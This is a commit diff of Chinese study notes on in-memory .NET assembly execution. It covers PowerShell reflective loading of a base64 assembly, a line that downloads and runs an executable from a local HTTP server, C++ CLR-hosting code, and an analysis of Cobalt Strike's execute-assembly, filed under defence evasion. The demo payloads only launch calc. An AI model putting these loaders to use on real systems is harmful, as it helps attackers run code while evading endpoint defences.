Skip to content

Commit 0f692bc

Browse files
committed
executeAssembly
1 parent 1d76d4d commit 0f692bc

File tree

6 files changed

+157
-77
lines changed

6 files changed

+157
-77
lines changed

src/develop/CSharp/PELoader.md renamed to src/CyberSecurity/DefenseEvasion/ExecuteAssembly.md

Lines changed: 157 additions & 77 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,13 @@
1-
# 内存加载执行文件的方法
1+
# Execute-Assembly实现方法
22

3+
文档里的代码都[DailyCode/PEExecute at main · echo0d/DailyCode](https://github.com/echo0d/DailyCode/tree/main/ExecuteAssembly)
34

4-
5-
分两部分:
6-
7-
* .NET程序集
8-
* PE文件
5+
> * 执行本地exe
6+
> * 从内存中加载.NET程序集
7+
> * C#
8+
> * C++
9+
>
10+
> [Execute-Assembly实现 | idiotc4t's blog](https://idiotc4t.com/defense-evasion/cobaltstrike-executeassembly-realization)
911
1012
## 0. 执行本地文件
1113

@@ -335,25 +337,61 @@ namespace TestApplication
335337
336338
powershell访问.net程序集的代码比较简单
337339

340+
1. 把代码写进ps1脚本里
341+
342+
```powershell
343+
# 把代码写进ps1脚本里
344+
345+
$Assemblies = (
346+
"System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=MSIL",
347+
"System.Linq, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL"
348+
)
349+
350+
$Source = @"
351+
using System;
352+
using System.Reflection;
353+
namespace TestApplication
354+
{
355+
public class Program
356+
{
357+
public static void Main()
358+
{
359+
360+
Console.WriteLine("HELLO");
361+
}
362+
}
363+
}
364+
"@
365+
366+
Add-Type -ReferencedAssemblies $Assemblies -TypeDefinition $Source -Language CSharp
367+
[TestApplication.Program]::Main()
368+
```
369+
370+
2. base64编码的字符串
371+
338372
```powershell
373+
# base64编码的字符串
339374
$base64 = "TVqQAAMAAAAEAAA(前面生成的base64编码的程序集)";
340375
$bins = [System.Convert]::FromBase64String($base64);
341376
$invoke = [System.Reflection.Assembly]::Load($bins);
342377
[System.Console]::WriteLine($invoke);
378+
$invoke.EntryPoint.Invoke($null,$null)
343379
344-
$args = New-Object -TypeName System.Collections.ArrayList
345-
346-
[string[]]$strings = "-group=all","-full"
347380
348-
$args.Add($strings)
349-
350-
$invoke.EntryPoint.Invoke($N,$args.ToArray());
381+
# 如果你有参数
382+
# $args = New-Object -TypeName System.Collections.ArrayList
383+
# [string[]]$strings = "-group=all","-full"
384+
# $args.Add($strings)
385+
# $invoke.EntryPoint.Invoke($null,$args.ToArray());
351386
```
352387

353-
也可以远程加载
388+
3. 远程加载
354389

355390
```powershell
356-
$invoke = [System.Reflection.Assembly]::UnsafeLoadFrom("http://192.168.0.125/base");
391+
# 远程下载
392+
$invoke2 = [System.Reflection.Assembly]::UnsafeLoadFrom("http://127.0.0.1:8000/testcalc.exe");
393+
[System.Console]::WriteLine($invoke2);
394+
$invoke2.EntryPoint.Invoke($null,$null)
357395
```
358396

359397

@@ -364,11 +402,9 @@ $invoke = [System.Reflection.Assembly]::UnsafeLoadFrom("http://192.168.0.125/bas
364402

365403
当不是用C#编写代码,但还是想要实现上面的操作时,例如Cobalt Strike 3.11中,加入了一个名为”execute-assembly”的命令,能够从内存中加载.NET程序集。`execute-assembly`功能的实现,必须使用一些来自.NET Framework的核心接口来执行.NET程序集口
366404

367-
### 2.1. 基础知识
368-
369-
CLR全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境
405+
### 2.1. CLR
370406

371-
CLR.NET Framework的主要执行引擎,作用之一是监视程序的运行:
407+
CLR全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境,是.NET Framework的主要执行引擎,作用之一是监视程序的运行:(或者说相当于Java中的JVM)
372408

373409
- 在CLR监视之下运行的程序属于”托管的”(managed)代码
374410
- 不在CLR之下、直接在裸机上运行的应用或者组件属于”非托管的”(unmanaged)的代码
@@ -383,9 +419,7 @@ CLR是.NET Framework的主要执行引擎,作用之一是监视程序的运行
383419

384420
支持v2.0.50727和v4.0.30319,在.NET Framework 2.0中,ICLRRuntimeHost用于取代ICorRuntimeHost,在实际程序开发中,很少会考虑.NET Framework 1.0,所以两个接口都可以使用
385421

386-
#### 重要接口描述
387-
388-
`ICLRRuntimeHost`、`ICLRRuntimeInfo` 以及`ICLRMetaHost` ,以下是这三个接口的简要描述
422+
下面选择ICLRRuntimeHost介绍:`ICLRRuntimeHost``ICLRRuntimeInfo` 以及`ICLRMetaHost` 接口
389423

390424
[ICLRRuntimeHost Interface - .NET Framework | Microsoft Learn](https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-interface)
391425

@@ -395,15 +429,17 @@ CLR是.NET Framework的主要执行引擎,作用之一是监视程序的运行
395429

396430
综上所述,要在非托管代码(如C++)中执行.NET程序集,你需要首先使用`ICLRMetaHost`来确定哪个CLR版本已加载或可用。然后使用`ICLRRuntimeInfo`来为这个CLR版本获取`ICLRRuntimeHost`。最后用`ICLRRuntimeHost`来加载和执行.NET程序集。
397431

398-
### 2.2. CS内存执行流程分析
432+
### 2.2. Cobalt Strike execute-assembly流程
433+
434+
> [.net程序集内存加载执行技术 | 0pen1的博客](https://0pen1.github.io/2022/02/09/net程序集内存加载执行技术/)
399435
400436
在Cobalt Strike的代码中找到BeaconConsole.java文件,定位到“execute-assembly”命令处。通过简单分析这段代码可以知道,当解析到用户执行“execute-assembly”命令后,会先验证”pZ“和”F“关键字来判断要执行的.net程序集是否带有参数(具体如何判断请查看CommandParser类)。判断完成使用CommandParser类的popstring方法将execute-assembly的参数赋值给变量,然后调用ExecuteAssembly方法执行程序集。
401437

402-
[![image-20220114182430780](img/PELoader/image-20220114182430780-16443915545351.png)](https://0pen1.github.io/2022/02/09/net程序集内存加载执行技术/net程序集内存加载执行技术.assets/image-20220114182430780-16443915545351.png)
438+
![image-20220114182430780](img/ExecuteAssembly/image-20220114182430780-16443915545351.png)
403439

404440
我们继续跟进ExecuteAssembly方法,ExecuteAssembly方法有两个参数,第一个参数为待执行的.net程序集路径,第二个参数为.net程序集执行需要的参数。执行这个方法时先将要执行的.net程序集从硬盘读取并加载到PE解析器(PEParser)中,随后判断加载的PE文件是否为.net程序集,如果是.net程序集则创建ExecuteAssemblyJob实例并调用spawn方法。
405441

406-
[![image-20220114182256752](img/PELoader/image-20220114182256752.png)](https://0pen1.github.io/2022/02/09/net程序集内存加载执行技术/net程序集内存加载执行技术.assets/image-20220114182256752.png)
442+
![image-20220114182256752](img/ExecuteAssembly/image-20220114182256752.png)
407443

408444
接下来进入spawn方法,可以看到是**通过反射DLL的方法,将invokeassembly.dll注入到进程当中**(这块还没自己实现过),并且设置任务号为70(x86版本)或者71(x64)。注入的invokeassembly.dll在其内存中创建CLR环境,然后通过管道再将C#可执行文件读取到内存中,最后执行。
409445

@@ -446,98 +482,153 @@ public void spawn(String var1) {
446482
}
447483
```
448484

449-
[![image-20220209135538841](img/PELoader/image-20220209135538841.png)](https://0pen1.github.io/2022/02/09/net程序集内存加载执行技术/net程序集内存加载执行技术.assets/image-20220209135538841.png)
485+
![image-20220209135538841](img/ExecuteAssembly/image-20220209135538841.png)
486+
487+
![image-20220117192352767](img/ExecuteAssembly/image-20220117192352767.png)
488+
450489

451-
[![image-20220117192352767](img/PELoader/image-20220117192352767.png)](https://0pen1.github.io/2022/02/09/net程序集内存加载执行技术/net程序集内存加载执行技术.assets/image-20220117192352767.png)
452490

453-
总结一下,Cobalt Strike内存加载执行.net程序集大概的过程就是,首先spawn一个进程并传输invokeassembly.dll注入到该进程,invokeassembly.dll实现了在其内存中创建CLR环境,然后通过管道再将C#可执行文件读取到内存中,最后执行。
491+
**总结一下**,Cobalt Strike内存加载执行.net程序集大概的过程就是,首先spawn一个进程并传输invokeassembly.dll注入到该进程,invokeassembly.dll实现了在其内存中创建CLR环境,然后通过管道再将C#可执行文件读取到内存中,最后执行。
454492

455493
**那么invokeassembly.dll内部是如何操作的呢?**
456494

495+
TODO:反射dll注入
496+
457497
### 2.3. 硬盘加载执行.NET程序集
458498

499+
#### 过程
500+
459501
1. 初始化ICLRMetaHost接口。
502+
460503
2. 通过ICLRMetaHost获取ICLRRuntimeInfo接口。
504+
461505
3. 通过ICLRRuntimeInfo将 CLR 加载到当前进程并返回运行时接口ICLRRuntimeHost指针。
506+
462507
4. 通过ICLRRuntimeHost.Start()初始化CLR。
463-
5. 通过ICLRRuntimeHost.EecuteInDefaultAppDomain执行指定程序集(硬盘上)。
508+
509+
5. 通过ICLRRuntimeHost.ExecuteInDefaultAppDomain执行指定程序集(硬盘上)。
510+
511+
[ICLRRuntimeHost::ExecuteInDefaultAppDomain 方法 - .NET Framework | Microsoft Learn](https://learn.microsoft.com/zh-cn/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-executeindefaultappdomain-method)
512+
513+
```cpp
514+
CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&iMetaHost);
515+
iMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (VOID**)&iRuntimeInfo);
516+
iRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&iRuntimeHost);
517+
iRuntimeHost->Start();
518+
hr = pRuntimeHost->ExecuteInDefaultAppDomain(L"xxx.exe",
519+
L"namespace.class",//类全名
520+
L"bbb",// 方法名
521+
L"HELLO!",// 参数 // 此处不知道咋能不输入参数,?
522+
&dwRet);
523+
```
524+
525+
464526
465527
#### 示例代码
466528
467529
**unmanaged.cpp**
468530
469531
```cpp
532+
#include <SDKDDKVer.h>
533+
534+
#include <stdio.h>
535+
#include <tchar.h>
536+
#include <windows.h>
537+
470538
#include <metahost.h>
539+
#include <mscoree.h>
471540
#pragma comment(lib, "mscoree.lib")
472541
473-
int main()
542+
int _tmain(int argc, _TCHAR* argv[])
474543
{
475-
ICLRMetaHost* iMetaHost = NULL;
476-
ICLRRuntimeInfo* iRuntimeInfo = NULL;
477-
ICLRRuntimeHost* iRuntimeHost = NULL;
478-
479-
//初始化环境
480-
CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&iMetaHost);
481-
iMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&iRuntimeInfo);
482-
iRuntimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&iRuntimeHost);
483-
iRuntimeHost->Start();
544+
ICLRMetaHost* pMetaHost = nullptr;
545+
ICLRMetaHostPolicy* pMetaHostPolicy = nullptr;
546+
ICLRRuntimeHost* pRuntimeHost = nullptr;
547+
ICLRRuntimeInfo* pRuntimeInfo = nullptr;
548+
549+
HRESULT hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&pMetaHost);
550+
hr = pMetaHost->GetRuntime(L"v4.0.30319", IID_PPV_ARGS(&pRuntimeInfo));
551+
DWORD dwRet = 0;
552+
if (FAILED(hr))
553+
{
554+
goto cleanup;
555+
}
484556
485-
//执行
486-
iRuntimeHost->ExecuteInDefaultAppDomain(L"C:\\TEST.exe", L"TEST.Program", L"print", L"test", NULL);
557+
hr = pRuntimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_PPV_ARGS(&pRuntimeHost));
558+
559+
hr = pRuntimeHost->Start();
560+
// 此处不知道咋能不输入参数,没输入就不行?
561+
hr = pRuntimeHost->ExecuteInDefaultAppDomain(L"loadCalc.exe",
562+
L"loadCalc.Program",
563+
L"bbb",
564+
L"HELLO!",
565+
&dwRet);
566+
hr = pRuntimeHost->Stop();
567+
568+
cleanup:
569+
if (pRuntimeInfo != nullptr) {
570+
pRuntimeInfo->Release();
571+
pRuntimeInfo = nullptr;
572+
}
487573
488-
//释放
489-
iRuntimeInfo->Release();
490-
iMetaHost->Release();
491-
iRuntimeHost->Release();
574+
if (pRuntimeHost != nullptr) {
575+
pRuntimeHost->Release();
576+
pRuntimeHost = nullptr;
577+
}
492578
493-
return 0;
494-
};
579+
if (pMetaHost != nullptr) {
580+
pMetaHost->Release();
581+
pMetaHost = nullptr;
582+
}
583+
return TRUE;
584+
}
495585
```
496586

497587
执行的C#源码
498588

499589
```csharp
500590
using System;
501591

502-
namespace TEST
592+
namespace loadCalc
503593
{
504-
class Program
594+
public class Program
505595
{
506-
static int Main(String[] args)
596+
public static void Main()
507597
{
508-
509-
return 1;
598+
Console.WriteLine("Hello World!");
510599
}
511-
static int print(String strings)
600+
public static int bbb(string s)
512601
{
513-
Console.WriteLine(strings);
514-
return 1;
602+
System.Diagnostics.Process p = new System.Diagnostics.Process();
603+
p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
604+
p.Start();
605+
Console.WriteLine(s);
606+
return 0;
515607
}
516608
}
517609
}
518610
```
519611

612+
效果
613+
614+
![image-20241210102855805](img/ExecuteAssembly/image-20241210102855805.png)
615+
520616
### 2.4. 内存加载执行.NET程序集
521617

522-
>
618+
> [med0x2e/ExecuteAssembly: Load/Inject .NET assemblies by; reusing the host (spawnto) process loaded CLR AppDomainManager, Stomping Loader/.NET assembly PE DOS headers, Unlinking .NET related modules, bypassing ETW+AMSI, avoiding EDR hooks via NT static syscalls (x64) and hiding imports by dynamically resolving APIs (hash).](https://github.com/med0x2e/ExecuteAssembly)
523619
524-
1.初始化CLR环境(同上)
620+
#### 过程
525621

526-
```cpp
527-
CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&iMetaHost);
528-
iMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (VOID**)&iRuntimeInfo);
529-
iRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&iRuntimeHost);
530-
iRuntimeHost->Start();
531-
```
622+
1. 初始化CLR环境(同上)
532623

533-
2.通过ICLRRuntimeHost获取AppDomain接口指针,然后通过AppDomain接口的QueryInterface方法来查询默认应用程序域的实例指针。
624+
2. 通过ICLRRuntimeHost获取AppDomain接口指针,然后通过AppDomain接口的QueryInterface方法来查询默认应用程序域的实例指针。
534625

535626
```cpp
536627
iRuntimeHost->GetDefaultDomain(&pAppDomain);
537628
pAppDomain->QueryInterface(__uuidof(_AppDomain), (VOID**)&pDefaultAppDomain);
538629
```
539630
540-
3.通过默认应用程序域实例的Load_3方法加载安全.net程序集数组,并返回Assembly的实例对象指针,通过Assembly实例对象的get_EntryPoint方法获取描述入口点的MethodInfo实例对象。
631+
3. 通过默认应用程序域实例的Load_3方法加载安全.net程序集数组,并返回Assembly的实例对象指针,通过Assembly实例对象的get_EntryPoint方法获取描述入口点的MethodInfo实例对象。
541632
542633
```cpp
543634
saBound[0].cElements = ASSEMBLY_LENGTH;
@@ -552,7 +643,7 @@ namespace TEST
552643
pAssembly->get_EntryPoint(&pMethodInfo);
553644
```
554645

555-
4.创建参数安全数组
646+
4. 创建参数安全数组
556647

557648
```cpp
558649
ZeroMemory(&vRet, sizeof(VARIANT));
@@ -575,7 +666,7 @@ ZeroMemory(&vRet, sizeof(VARIANT));
575666
}
576667
```
577668
578-
5.通过描述入口点的MethodInfo实例对象的Invoke方法执行入口点。
669+
5. 通过描述入口点的MethodInfo实例对象的Invoke方法执行入口点。
579670
580671
```cpp
581672
HRESULT hr = pMethodInfo->Invoke_3(vObj, args, &vRet);
@@ -698,18 +789,7 @@ namespace TEST
698789

699790

700791

701-
## 3. managed代码内存加载执行PE文件
702-
703-
需要自己实现PE加载器
704-
705-
706-
707-
## 4. unmanaged代码内存加载执行PE文件
708-
709-
需要自己实现PE加载器
710-
711792

712793

713794

714795

715-
TODO:反射dll注入

src/develop/CSharp/img/PELoader/image-20220114182256752.png renamed to src/CyberSecurity/DefenseEvasion/img/ExecuteAssembly/image-20220114182256752.png

File renamed without changes.

src/develop/CSharp/img/PELoader/image-20220114182430780-16443915545351.png renamed to src/CyberSecurity/DefenseEvasion/img/ExecuteAssembly/image-20220114182430780-16443915545351.png

File renamed without changes.

src/develop/CSharp/img/PELoader/image-20220117192352767.png renamed to src/CyberSecurity/DefenseEvasion/img/ExecuteAssembly/image-20220117192352767.png

File renamed without changes.

src/develop/CSharp/img/PELoader/image-20220209135538841.png renamed to src/CyberSecurity/DefenseEvasion/img/ExecuteAssembly/image-20220209135538841.png

File renamed without changes.
14.7 KB
Loading

0 commit comments

Comments
 (0)